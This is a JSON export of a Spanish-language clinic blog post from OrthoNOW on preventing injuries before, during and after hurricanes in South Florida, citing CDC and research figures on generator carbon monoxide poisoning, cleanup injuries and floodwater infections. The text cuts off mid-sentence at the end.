{"id":4684,"date":"2025-10-14T18:14:56","date_gmt":"2025-10-14T22:14:56","guid":{"rendered":"https:\/\/www.orthonowcare.com\/?p=4684"},"modified":"2026-01-07T06:08:21","modified_gmt":"2026-01-07T11:08:21","slug":"hurricane-season-safety-preventing-injuries-before-and-after-the-storm","status":"publish","type":"post","link":"https:\/\/www.orthonowcare.com\/es\/hurricane-season-safety-preventing-injuries-before-and-after-the-storm\/","title":{"rendered":"Seguridad en la temporada de huracanes: c\u00f3mo prevenir lesiones antes y despu\u00e9s de la tormenta"},"content":{"rendered":"<p><span style=\"font-weight: 400;\">La temporada de huracanes en Miami y en todo el sur de Florida es una realidad que los residentes enfrentan cada a\u00f1o. Si bien gran parte de la atenci\u00f3n se centra en los da\u00f1os a la propiedad y los suministros de emergencia, un aspecto a menudo pasado por alto de la preparaci\u00f3n para huracanes es... <\/span><b>seguridad personal y prevenci\u00f3n de lesiones<\/b><span style=\"font-weight: 400;\">Despu\u00e9s de una tormenta no se trata solo de limpiar escombros y restablecer la energ\u00eda, sino tambi\u00e9n de protegerse a s\u00ed mismo y a sus seres queridos de lesiones prevenibles que pueden enviarlo directamente a atenci\u00f3n de urgencia o a la sala de emergencias.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">Este art\u00edculo explora <\/span><b>Las lesiones m\u00e1s comunes relacionadas con los huracanes<\/b><span style=\"font-weight: 400;\">, estrategias pr\u00e1cticas para evitarlos y por qu\u00e9 las cl\u00ednicas de atenci\u00f3n de urgencia como OrthoNOW est\u00e1n en una posici\u00f3n \u00fanica para brindar un tratamiento r\u00e1pido y especializado cuando ocurren accidentes.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h2><b>Comprender los riesgos de lesiones durante la temporada de huracanes<\/b><\/h2>\n<p><span style=\"font-weight: 400;\">Los huracanes traen consigo fuertes vientos, lluvias torrenciales, inundaciones y cortes de electricidad generalizados. Cada uno de estos factores crea riesgos \u00fanicos para los residentes y el personal de emergencia. Seg\u00fan an\u00e1lisis recientes en varios estados (incluida Florida), se observan claros picos en... <\/span><b>admisiones en el departamento de urgencias (ED) relacionadas con lesiones<\/b><span style=\"font-weight: 400;\"> Inmediatamente despu\u00e9s de tocar tierra: en los condados <\/span><b>directamente en la trayectoria de la tormenta<\/b><span style=\"font-weight: 400;\">, adultos <\/span><b>65+<\/b><span style=\"font-weight: 400;\"> experiment\u00f3 una <\/span><b>53.2%<\/b><span style=\"font-weight: 400;\"> aumentar <\/span><b>durante la semana del hurac\u00e1n<\/b><span style=\"font-weight: 400;\">, con ni\u00f1os <\/span><b>0\u201317<\/b><span style=\"font-weight: 400;\"> Tambi\u00e9n en aumento <\/span><b>22.6%<\/b><span style=\"font-weight: 400;\"> esa semana y <\/span><b>15.6%<\/b><span style=\"font-weight: 400;\"> y <\/span><b>26.3%<\/b><span style=\"font-weight: 400;\"> en las semanas 1 y 2 siguientes. (<\/span><a href=\"https:\/\/hcup-us.ahrq.gov\/reports\/statbriefs\/sb267-Hurricanes-Injuries-ED-Visits-2005-2016.jsp\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">Resumen estad\u00edstico de HCUP #267<\/span><\/a><span style=\"font-weight: 400;\">). <\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">En la vigilancia de urgencias tras un hurac\u00e1n, la <\/span><b>tipos de lesiones m\u00e1s comunes<\/b><span style=\"font-weight: 400;\"> son <\/span><b>abrasiones, laceraciones y cortes<\/b><span style=\"font-weight: 400;\">, a menudo de <\/span><b>ca\u00eddas\/resbalones\/tropezones<\/b><span style=\"font-weight: 400;\"> o <\/span><b>ser golpeado por objetos<\/b><span style=\"font-weight: 400;\">, con <\/span><b>La mayor\u00eda de las visitas por lesiones ocurren dentro de los primeros 3 meses.<\/b><span style=\"font-weight: 400;\"> despu\u00e9s de un hurac\u00e1n. (<\/span><a href=\"https:\/\/pmc.ncbi.nlm.nih.gov\/articles\/PMC7050295\/\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">Frasqueri-Quintana et al., 2020<\/span><\/a><span style=\"font-weight: 400;\">). Las lesiones m\u00e1s comunes incluyen:<\/span><\/p>\n<p>&nbsp;<\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>Laceraciones y heridas punzantes<\/b><span style=\"font-weight: 400;\"> de escombros voladores u objetos afilados en las aguas de la inundaci\u00f3n.<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>Lesiones por resbalones y ca\u00eddas<\/b><span style=\"font-weight: 400;\"> debido a superficies h\u00famedas, irregulares u obstruidas.<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>lesiones musculoesquel\u00e9ticas<\/b><span style=\"font-weight: 400;\"> como esguinces, distensiones o fracturas por levantar escombros pesados.<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>Intoxicaci\u00f3n por mon\u00f3xido de carbono<\/b><span style=\"font-weight: 400;\"> por uso inadecuado del generador.<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>Enfermedades relacionadas con el calor<\/b><span style=\"font-weight: 400;\"> durante la recuperaci\u00f3n posterior a la tormenta, cuando no hay aire acondicionado ni agua limpia disponibles.<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<h2><b>C\u00f3mo prevenir lesiones antes de que llegue la tormenta<\/b><\/h2>\n<p><span style=\"font-weight: 400;\">La preparaci\u00f3n no solo protege tu hogar, sino tambi\u00e9n tu cuerpo. Al tomar medidas proactivas, puedes minimizar el riesgo cuando la tormenta toque tierra.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><b>1. Asegurar las \u00e1reas exteriores<\/b><\/h3>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Guarde o amarre los muebles de patio, las parrillas y los objetos sueltos que puedan convertirse en proyectiles.<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Recortar los \u00e1rboles y eliminar las ramas d\u00e9biles que puedan caer.<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">La evidencia de la limpieza tras el hurac\u00e1n Sandy muestra c\u00f3mo <\/span><b>escombros sin asegurar y ramas ca\u00eddas<\/b><span style=\"font-weight: 400;\"> traducirse en lesiones: en los datos del Departamento de Emergencias de Nueva Jersey, <\/span><b>44.6%<\/b><span style=\"font-weight: 400;\"> de <\/span><b>698<\/b><span style=\"font-weight: 400;\"> Las lesiones relacionadas con los \u00e1rboles fueron <\/span><b>\u201cgolpeado por\u201d<\/b><span style=\"font-weight: 400;\"> (por ejemplo, sucursales), y <\/span><b>33.7%<\/b><span style=\"font-weight: 400;\"> eran <\/span><b>relacionado con la motosierra<\/b><span style=\"font-weight: 400;\">; el <\/span><b>riesgo de lesiones relacionadas con los \u00e1rboles<\/b><span style=\"font-weight: 400;\"> era <\/span><b>1,67 veces m\u00e1s alto<\/b><span style=\"font-weight: 400;\"> en el trimestre inmediatamente posterior a la llegada a tierra.<\/span><a href=\"https:\/\/pmc.ncbi.nlm.nih.gov\/articles\/PMC5958394\/\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">Marshall y otros, 2018<\/span><\/a><span style=\"font-weight: 400;\">).<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<h3><b>2. Abast\u00e9cete de suministros m\u00e9dicos<\/b><\/h3>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Mantener un <\/span><b>botiqu\u00edn de primeros auxilios<\/b><span style=\"font-weight: 400;\"> Completamente abastecido con vendajes, toallitas antis\u00e9pticas, f\u00e9rulas y analg\u00e9sicos de venta libre.<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Aseg\u00farese de tener suficientes medicamentos recetados para al menos 7 a 10 d\u00edas.<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Agregue una linterna, guantes y desinfectante a su kit para el cuidado seguro de las heridas.<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<h3><b>3. Planifique de forma segura los cortes de energ\u00eda<\/b><\/h3>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Si posee un generador, aseg\u00farese de que funcione correctamente y de que sepa c\u00f3mo utilizarlo al aire libre.<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Evite usar velas; utilice linternas que funcionen a bater\u00eda para reducir el riesgo de incendio.<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Durante la temporada de huracanes de 2004 en Florida, hubo <\/span><b>6 muertes<\/b><span style=\"font-weight: 400;\"> y <\/span><b>167 no mortales<\/b> <b>intoxicaciones por mon\u00f3xido de carbono (CO)<\/b><span style=\"font-weight: 400;\">; <\/span><b>generadores port\u00e1tiles<\/b><span style=\"font-weight: 400;\"> Estuvieron implicados en <\/span><b>96.0%<\/b><span style=\"font-weight: 400;\"> de incidentes no fatales y en <\/span><b>todos los incidentes fatales<\/b><span style=\"font-weight: 400;\">Entre los incidentes relacionados con los generadores, <\/span><b>34.0%<\/b><span style=\"font-weight: 400;\"> ocurri\u00f3 <\/span><b>en garajes<\/b><span style=\"font-weight: 400;\"> y <\/span><b>12.8%<\/b> <b>dentro de las casas<\/b><span style=\"font-weight: 400;\">; <\/span><b>66.5%<\/b><span style=\"font-weight: 400;\"> de los pacientes llegaron a urgencias entre <\/span><b>5:00\u201310:00 a. m.<\/b><span style=\"font-weight: 400;\"> despu\u00e9s de la exposici\u00f3n durante la noche. (<\/span><a href=\"https:\/\/www.cdc.gov\/mmwr\/preview\/mmwrhtml\/mm5428a2.htm\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">Informe mensual de salud de los CDC, 2005<\/span><\/a><span style=\"font-weight: 400;\">). Para evitar la acumulaci\u00f3n de CO, los CDC recomiendan mantener los generadores <\/span><b>al menos 20 pies<\/b><span style=\"font-weight: 400;\"> de puertas, ventanas y rejillas de ventilaci\u00f3n. (<\/span><a href=\"https:\/\/www.cdc.gov\/natural-disasters\/psa-toolkit\/use-a-generator-safely.html\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">Seguridad del generador de los CDC<\/span><\/a><span style=\"font-weight: 400;\">).<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<h3><b>4. Prep\u00e1rese f\u00edsicamente<\/b><\/h3>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Si prev\u00e9 levantar objetos pesados despu\u00e9s de la tormenta, practique t\u00e9cnicas de levantamiento seguras: doble las rodillas, no la espalda.<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Asigne roles a los miembros de la familia con anticipaci\u00f3n para evitar el esfuerzo excesivo.<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<h2><b>Mantenerse a salvo durante la tormenta<\/b><\/h2>\n<p><span style=\"font-weight: 400;\">Cuando llega el hurac\u00e1n, su objetivo principal es <\/span><b>refugio seguro en el lugar<\/b><span style=\"font-weight: 400;\"> o evacuar si se le indica.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><b>1. Ref\u00fagiese en un espacio seguro<\/b><\/h3>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Mant\u00e9ngase alejado de ventanas y puertas de vidrio.<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Designe una habitaci\u00f3n interior segura en el nivel m\u00e1s bajo de su casa.<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Mant\u00e9n los zapatos puestos en caso de que necesites moverte r\u00e1pidamente sobre los escombros.<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<h3><b>2. Alertas de monitorizaci\u00f3n<\/b><\/h3>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Utilice una radio meteorol\u00f3gica NOAA o alertas m\u00f3viles para mantenerse actualizado sobre las condiciones cambiantes.<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Siga r\u00e1pidamente las \u00f3rdenes oficiales de evacuaci\u00f3n.<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<h3><b>3. Evite conductas de riesgo<\/b><\/h3>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">No salgas afuera \u201ca comprobar\u201d la tormenta.<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Evite movimientos innecesarios dentro de la casa que puedan provocar ca\u00eddas o colisiones si se corta la electricidad.<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<h2><b>Recuperaci\u00f3n tras la tormenta: puntos cr\u00edticos de lesiones<\/b><\/h2>\n<p><span style=\"font-weight: 400;\">El peligro no termina cuando amaina el viento. De hecho, se producen muchas lesiones. <\/span><b>despu\u00e9s<\/b><span style=\"font-weight: 400;\"> El hurac\u00e1n ha pasado.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><b>1. Limpieza de escombros<\/b><\/h3>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Utilice guantes y botas resistentes.<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Utilice herramientas adecuadas como palas, rastrillos y carretillas.<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Nunca intente limpiar \u00e1rboles grandes o cables el\u00e9ctricos por su cuenta: llame a profesionales.<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">La limpieza es una de las principales causas de lesiones. Despu\u00e9s <\/span><b>Hurac\u00e1n Hugo<\/b><span style=\"font-weight: 400;\"> (Carolina del Norte), <\/span><b>2,090<\/b><span style=\"font-weight: 400;\"> Los pacientes fueron atendidos por problemas relacionados con el hurac\u00e1n durante dos semanas, <\/span><b>1,833 (88%)<\/b><span style=\"font-weight: 400;\"> para <\/span><b>lesiones<\/b><span style=\"font-weight: 400;\">, y <\/span><b>casi un tercio de las heridas<\/b><span style=\"font-weight: 400;\"> eran <\/span><b>relacionado con la motosierra<\/b><span style=\"font-weight: 400;\">. (<\/span><a href=\"https:\/\/pubmed.ncbi.nlm.nih.gov\/8161040\/\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">Brewer y otros, 1994<\/span><\/a><span style=\"font-weight: 400;\">). Los datos de Nueva Jersey posteriores a Sandy destacan de manera similar <\/span><b>golpeado por<\/b><span style=\"font-weight: 400;\"> y <\/span><b>motosierra<\/b><span style=\"font-weight: 400;\"> mecanismos. (<\/span><a href=\"https:\/\/pmc.ncbi.nlm.nih.gov\/articles\/PMC5958394\/\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">Marshall y otros, 2018<\/span><\/a><span style=\"font-weight: 400;\">).<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<h3><b>2. Inundaciones<\/b><\/h3>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Evite caminar o conducir a trav\u00e9s de aguas inundadas: apenas quince cent\u00edmetros de agua en movimiento pueden derribarlo.<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Las aguas de las inundaciones suelen contener restos afilados, contaminantes e incluso cables el\u00e9ctricos activos.<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Despu\u00e9s <\/span><b>Hurac\u00e1n Ian<\/b><span style=\"font-weight: 400;\"> (2022), Florida registr\u00f3 <\/span><b>38 casos de vibriosis<\/b><span style=\"font-weight: 400;\"> y <\/span><b>11 muertes<\/b><span style=\"font-weight: 400;\">; <\/span><b>33 (87%)<\/b><span style=\"font-weight: 400;\"> eran <\/span><b>Infecciones de la piel relacionadas con la exposici\u00f3n a mareas de tormenta o inundaciones<\/b><span style=\"font-weight: 400;\"> en los condados de Lee y Collier. (<\/span><a href=\"https:\/\/www.cdc.gov\/mmwr\/volumes\/72\/wr\/mm7218a5.htm\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">Informe mensual de salud de los CDC, 2023<\/span><\/a><span style=\"font-weight: 400;\">).<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<h3><b>3. Seguridad del generador y del mon\u00f3xido de carbono<\/b><\/h3>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Operar generadores al menos <\/span><b>20 pies<\/b><span style=\"font-weight: 400;\"> lejos de ventanas, puertas y rejillas de ventilaci\u00f3n. (<\/span><a href=\"https:\/\/www.cdc.gov\/natural-disasters\/psa-toolkit\/use-a-generator-safely.html\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">Seguridad del generador de los CDC<\/span><\/a><span style=\"font-weight: 400;\">).<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Instale detectores de CO que funcionen a bater\u00eda si planea utilizar un generador.<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">En el an\u00e1lisis de la temporada 2004 de Florida, <\/span><b>13 de 167<\/b><span style=\"font-weight: 400;\"> pacientes con intoxicaci\u00f3n por CO no mortal (<\/span><b>7.8%<\/b><span style=\"font-weight: 400;\">) eran <\/span><b>hospitalizado<\/b><span style=\"font-weight: 400;\">; <\/span><b>43.7%<\/b><span style=\"font-weight: 400;\"> recibi\u00f3 <\/span><b>ox\u00edgeno hiperb\u00e1rico<\/b><span style=\"font-weight: 400;\"> terapia.(<\/span><a href=\"https:\/\/www.cdc.gov\/mmwr\/preview\/mmwrhtml\/mm5428a2.htm\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">Informe mensual de salud de los CDC, 2005<\/span><\/a><span style=\"font-weight: 400;\">).<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<h3><b>4. Calor y deshidrataci\u00f3n<\/b><\/h3>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Beba abundante agua embotellada o hervida.<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Descanse con frecuencia si trabaja al aire libre.<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Est\u00e9 atento a los s\u00edntomas de agotamiento por calor: mareos, confusi\u00f3n, n\u00e1useas.<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<h2><b>Lesiones comunes relacionadas con huracanes tratadas en urgencias<\/b><\/h2>\n<p><span style=\"font-weight: 400;\">Los centros de atenci\u00f3n de urgencias como OrthoNOW atienden una amplia variedad de lesiones relacionadas con tormentas. Las m\u00e1s frecuentes incluyen:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>Esguinces, distensiones y fracturas<\/b><span style=\"font-weight: 400;\"> por ca\u00eddas o levantar objetos pesados.<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>Cortes profundos y heridas punzantes<\/b><span style=\"font-weight: 400;\"> requiriendo puntos de sutura.<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>Lesiones de hombro, rodilla y espalda<\/b><span style=\"font-weight: 400;\"> de movimientos de limpieza repetitivos.<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>Infecciones<\/b><span style=\"font-weight: 400;\"> de cortes no tratados expuestos a aguas de inundaci\u00f3n.<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">Los huracanes impulsan de forma fiable <\/span><b>picos a corto plazo en la demanda de atenci\u00f3n de lesiones<\/b><span style=\"font-weight: 400;\">. En 11 estados (incluida Florida), <\/span><b>admisiones en urgencias relacionadas con lesiones<\/b><span style=\"font-weight: 400;\"> aument\u00f3 dr\u00e1sticamente en los condados de ruta directa <\/span><b>durante la semana de llegada a tierra<\/b><span style=\"font-weight: 400;\">-p.ej, <\/span><b>+53,2% en adultos mayores de 65 a\u00f1os<\/b><span style=\"font-weight: 400;\">, <\/span><b>+22.6% en ni\u00f1os<\/b><span style=\"font-weight: 400;\">\u2014con tasas elevadas que persistieron en las semanas siguientes. (<\/span><a href=\"https:\/\/hcup-us.ahrq.gov\/reports\/statbriefs\/sb267-Hurricanes-Injuries-ED-Visits-2005-2016.jsp\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">Resumen estad\u00edstico de HCUP #267<\/span><\/a><span style=\"font-weight: 400;\">). En encuestas comunitarias una semana despu\u00e9s <\/span><b>Hurac\u00e1n Sandy<\/b><span style=\"font-weight: 400;\">, el <\/span><b>incidencia de lesiones<\/b><span style=\"font-weight: 400;\"> Entre los encuestados en zonas de inundaci\u00f3n fue <\/span><b>10.4%<\/b><span style=\"font-weight: 400;\">, y <\/span><b>&gt;70%<\/b><span style=\"font-weight: 400;\"> de personas heridas reportadas <\/span><b>dos o m\u00e1s lesiones<\/b><span style=\"font-weight: 400;\">. (<\/span><a href=\"https:\/\/www.cdc.gov\/mmwr\/preview\/mmwrhtml\/mm6342a4.htm\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">Informe mensual de salud de los CDC, 2014<\/span><\/a><span style=\"font-weight: 400;\">).<\/span><\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<h3><b>Por qu\u00e9 OrthoNOW es la opci\u00f3n correcta despu\u00e9s de una tormenta<\/b><\/h3>\n<p><span style=\"font-weight: 400;\">No todos los centros de atenci\u00f3n de urgencias son iguales. OrthoNOW se especializa en atenci\u00f3n ortop\u00e9dica y musculoesquel\u00e9tica, lo que lo convierte en el... <\/span><b>destino ideal para lesiones relacionadas con huracanes<\/b><span style=\"font-weight: 400;\"> que involucran huesos, articulaciones y m\u00fasculos.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><b>Ventajas de OrthoNOW despu\u00e9s de un hurac\u00e1n:<\/b><\/h3>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>Tratamiento m\u00e1s r\u00e1pido<\/b><span style=\"font-weight: 400;\"> que las salas de emergencias superpobladas.<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>Atenci\u00f3n especializada<\/b><span style=\"font-weight: 400;\"> para lesiones ortop\u00e9dicas como fracturas y dislocaciones.<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>Im\u00e1genes in situ<\/b><span style=\"font-weight: 400;\"> como radiograf\u00edas y resonancias magn\u00e9ticas.<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>Personal experto<\/b><span style=\"font-weight: 400;\"> Capacitado en medicina deportiva y recuperaci\u00f3n de traumas.<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">Esta especializaci\u00f3n significa que puedes <\/span><b>evitar largas esperas<\/b><span style=\"font-weight: 400;\"> y volver a su recuperaci\u00f3n m\u00e1s r\u00e1pido.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<h3><b>H\u00e1bitos de seguridad a largo plazo para la temporada de huracanes<\/b><\/h3>\n<p><span style=\"font-weight: 400;\">Incluso cuando una tormenta no es inminente, desarrollar buenos h\u00e1bitos puede mantenerte seguro a\u00f1o tras a\u00f1o:<\/span><\/p>\n<p>&nbsp;<\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Crear y actualizar una <\/span><b>plan de emergencia familiar<\/b><span style=\"font-weight: 400;\"> anualmente.<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Realice cursos comunitarios de RCP y primeros auxilios.<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Invierta en modificaciones seguras en el hogar, como contraventanas contra huracanes y puertas de garaje reforzadas.<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Mantenga su propiedad bien mantenida para reducir los riesgos de escombros por tormentas.<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">Las conductas de preparaci\u00f3n pueden reducir el riesgo de lesiones. Por ejemplo, seguir <\/span><b>Hurac\u00e1n Ike<\/b><span style=\"font-weight: 400;\">Un estudio de poblaci\u00f3n encontr\u00f3 <\/span><b>menor incidencia de lesiones personales entre los evacuados<\/b><span style=\"font-weight: 400;\"> (<\/span><b>4.2%<\/b><span style=\"font-weight: 400;\">) en comparaci\u00f3n con <\/span><b>no evacuados<\/b><span style=\"font-weight: 400;\"> (<\/span><b>10.9%<\/b><span style=\"font-weight: 400;\">). (<\/span><a href=\"https:\/\/www.apa.org\/pubs\/journals\/releases\/rep-55-3-221.pdf\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">Norris y otros, 2010<\/span><\/a><span style=\"font-weight: 400;\">).<\/span><\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<h3><b>Conclusiones clave<\/b><\/h3>\n<ol>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>La preparaci\u00f3n previene lesiones<\/b><span style=\"font-weight: 400;\">\u2014Asegurar su propiedad y abastecerse de suministros puede marcar una diferencia que le salve la vida.<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>Los riesgos posteriores a la tormenta son altos<\/b><span style=\"font-weight: 400;\">\u2014La limpieza, las inundaciones y el mal uso de los generadores son la causa de muchas lesiones evitables.<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>La atenci\u00f3n de urgencia es esencial<\/b><span style=\"font-weight: 400;\">\u2014Los centros especializados como OrthoNOW ofrecen un tratamiento m\u00e1s r\u00e1pido y efectivo para las lesiones relacionadas con tormentas.<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<h3><b>Palabra final: Prot\u00e9jase usted mismo, no solo su hogar<\/b><\/h3>\n<p><span style=\"font-weight: 400;\">Cuando llega la temporada de huracanes a Miami, proteger su hogar es importante, pero proteger su... <\/span><b>salud y movilidad<\/b><span style=\"font-weight: 400;\"> Es m\u00e1s importante. Las 